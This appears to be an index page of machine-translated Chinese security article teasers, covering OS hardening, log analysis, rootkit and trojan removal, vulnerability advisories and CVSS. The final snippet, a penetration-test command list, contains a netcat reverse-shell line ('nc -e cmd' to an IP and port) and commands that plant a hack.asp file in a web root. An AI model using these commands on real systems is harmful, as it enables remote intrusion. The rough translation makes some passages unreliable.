What measures should be taken? Legitimate attackers hiding in the internal network

Author: Shen jianmiao In today's Internet era, many companies and solution providers are lagging behind in their approaches to ensuring data security. The firewall and VPN technologies we usually talk about cannot completely eliminate security risks.

Disable useless ports in Win2000

For how to disable useless ports in win2000, I mentioned this in my previous posts and Shared Folder Security I wrote yesterday.Here I am writing security knowledge basics for your reference:Each Service corresponds to the corresponding port. For

Analysis of attack records in IIS & amp; Apache

In the dark of each network management system, the server is helpless after being attacked. In fact, after the server is attacked, the server's record file details the clues of hacker activity. Here, I would like to introduce the most important

SOHO network solution

I. Application RequirementsThe trend of global informatization and network brings new changes to people's work models. While SOHO (Small Office Home Office) is a kind of information work mode derived from this revolution. In the SOHO environment,

How to deal with HackerDefender-RootkitRevealer

Super backdoor Hackerdefender should be said to be well-known, and it is also a headache to scan and kill. Recently I found that www.sysinternals.com has a good tool that I don't dare to exclusive to write this article. The latest version of

Introduction to shared computer system security

At present, many organizations and data centers are still using Win2000. The reason is that the machine configuration is low and WinXP cannot be installed. The reason is that the dedicated software used by the Organization can only run under Win2000,

Careful and fraudulent broadband Internet access on ADSL intrusion and Prevention

With the rapid development of ADSL networks in various regions, it is no longer a distant dream to achieve permanent connection and online at any time. However, we must understand that, permanent connection to the Internet also significantly

Multiple local memory leaks in FreeBSD

Source: Zoomlion Released on: 2006-01-27Updated on: 2006-01-27 Affected Systems:FreeBSD 6.0-STABLEFreeBSD 6.0-RELEASEFreeBSD 5.4-RELENGFreeBSD 5.4-RELEASEFreeBSD 5.4-PRERELEASEDescription:--------------------------------------------------------------

Overview of common Vulnerability Evaluation System (CVSS)

I. Summary Vulnerabilities is an important factor in network security. It is used in a variety of security products (such as vulnerability scanning, intrusion detection, anti-virus, patch management, and so on) the evaluation of vulnerabilities and

Security risks caused by weak SA passwords

  Computers with the Microsoft SQL Server SA Weak Password vulnerability have always been one of the favored targets of network attackers. With this vulnerability, you can easily obtain Server management permissions, thereby threatening network and

No. Impossible! The anti-DDoS search engine will attack you too.

Can Baidu also be used as a tool to intrude into servers? I did not believe it when I tried it myself. However, it is true ...... Baidu search engine is a frequently used tool. Recently, I need to search for something in baidu because of something.

Encryption: Enable Encryption

Enable encryption: 1. BIOS Currently, the most simple system password is the BIOS password. After the BIOS password is set, the computer will prompt you to enter the BIOS password every time you start the Windows operating system. Only after you

Manually remove the pigeon

Running principle of gray pigeon The gray pigeon Trojan is divided into two parts: the client and the server. Attackers manipulate the client and use the client configuration to generate a server program. The service end file name is g_server.exe. G_

Security Tips: Find a "Amulet" for IE browser"

At present, there are a lot of software to protect the system and IE, but almost all of them are to be protected by integrating some system settings or disabling some add-ons. However, the Internet Explorer BufferZone Security (hereinafter referred

How to detect spyware on your computer

You should have had this experience, that is, the computer is infected with spyware or advertising software. In this case, the key to solving the problem is to find the spyware in your hard disk, memory, or Windows registry. I recently studied

Windows permission settings

Careful readers may have noticed that I did not use the default path or only changed the default path of the drive letter for installation of these service software, which is also a security requirement, if a hacker enters your server through some

Httpdx 1.5.4 Remote HTTP Server Denial of Service Vulnerability Analysis

Author: kindsjay1.Debugging environment: 2.Vulnerability descriptionPOC:Httpdx does not properly process wildcards. Remote attackers can exploit the vulnerability to submit malicious GET requests, causing application

Oracle Database Authentication Protocol Security Bypass.

OracleDatabase is prone to a remote security-bypass vulnerability that affects the authentication protocol.Attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database. ThisVulnerability affects

Share the Tips mentioned in a recent linux penetration test case

The target Intranet environment is harsh,Dmz environment. Isolated from the Internet. The DNS is blocked, and all kinds of failures.It may be caused by apache configuration or system monitoring. The reused rootkit will be disconnected once every 1

Common penetration test commands in windows

Echo ^ C: \ wmpub \ hkfe666 \ h4ck. asp Md hack create hack folderLocal nc-vv-p-l PortServer nc path-e cmd path ip Port Rd hack Delete the hack folderType d: \ wwwroot \ hack. aspDel d: \ wwwroot \ hack. asp Delete hack. aspDir c: \ view all

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